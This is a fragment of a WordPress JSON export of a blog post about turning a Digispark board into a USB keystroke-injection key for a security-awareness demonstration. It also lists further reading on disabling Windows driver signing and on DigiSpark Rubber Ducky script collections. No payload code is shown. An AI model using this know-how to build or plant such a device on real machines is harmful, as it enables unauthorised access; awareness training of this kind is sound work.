\/><\/a>Uploading is extra fast, either I manage to remove the key before the script launches or I benefit from the first launch of the \u2026 key script<\/p>\r\n<p>It is over, the key is ready.<\/p>\r\n<p><strong>Thus, to simulate a keystroke injection attack, simply slide the key into a USB port.<\/strong><\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark2.gif\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7128\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark2.gif\" alt=\"\" width=\"796\" height=\"336\" \/><\/a><\/p>\r\n<h2><span class=\"ez-toc-section\" id=\"Bibliographie_pour_aller_plus_loin\"><\/span>Bibliography to go further<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<ul>\r\n<li><a href=\"https:\/\/www.malekal.com\/desactiver-signature-numerique-pilotes-windows-10\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.malekal.com\/desactiver-signature-numerique-pilotes-windows-10\/<\/a><\/li>\r\n<li><a href=\"https:\/\/www.qqt.fr\/documentation\/systeme-dexploitation\/desactivation-de-la-signature-obligatoire-des-pilotes-sous-windows-8\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.qqt.fr\/documentation\/systeme-dexploitation\/desactivation-de-la-signature-obligatoire-des-pilotes-sous-windows-8\/<\/a><\/li>\r\n<li><a href=\"https:\/\/www.youtube.com\/watch?v=R41pn1j81RU\" target=\"_blank\" rel=\"noopener\">https:\/\/www.youtube.com\/watch?v=R41pn1j81RU<\/a><\/li>\r\n<li><a href=\"https:\/\/remiflandrois.fr\/2021\/08\/09\/usb-digispark-rubber-ducky\/\" target=\"_blank\" rel=\"noopener\">https:\/\/remiflandrois.fr\/2021\/08\/09\/usb-digispark-rubber-ducky\/<\/a><\/li>\r\n<li><a href=\"https:\/\/github.com\/CedArctic\/DigiSpark-Scripts\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/CedArctic\/DigiSpark-Scripts<\/a><\/li>\r\n<li><a href=\"https:\/\/github.com\/CedArctic\/DigiSpark-Scripts\" target=\"_blank\" rel=\"noopener\">https:\/\/redacted.au\/creating-a-usb-rubber-ducky-from-a-digispark-attiny-85\/<\/a><\/li>\r\n<\/ul>","protected":false},"excerpt":{"rendered":"<p>My objective In the context of training for IT users, it is crucial to raise their awareness of the risks associated with the use of unknown USB sticks. To make a difference, a practical demonstration is often more effective than a simple speech. That is why I would like to purchase a USB stick capable of simulating damage to [...]<\/p>","protected":false},"author":1,"featured_media":7109,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[70,14,166],"tags":[],"class_list":["post-7106","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurite","category-domotique","category-retex"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.sigalou-domotique.fr\/en\/wp-json\/wp\/v2\/posts\/7106","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sigalou-domotique.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sigalou-domotique.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sigalou-domotique.fr\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sigalou-domotique.fr\/en\/wp-json\/wp\/v2\/comments?post=7106"}],"version-history":[{"count":0,"href":"https:\/\/www.sigalou-domotique.fr\/en\/wp-json\/wp\/v2\/posts\/7106\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.sigalou-domotique.fr\/en\/wp-json\/wp\/v2\/media\/7109"}],"wp:attachment":[{"href":"https:\/\/www.sigalou-domotique.fr\/en\/wp-json\/wp\/v2\/media?parent=7106"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sigalou-domotique.fr\/en\/wp-json\/wp\/v2\/categories?post=7106"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sigalou-domotique.fr\/en\/wp-json\/wp\/v2\/tags?post=7106"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}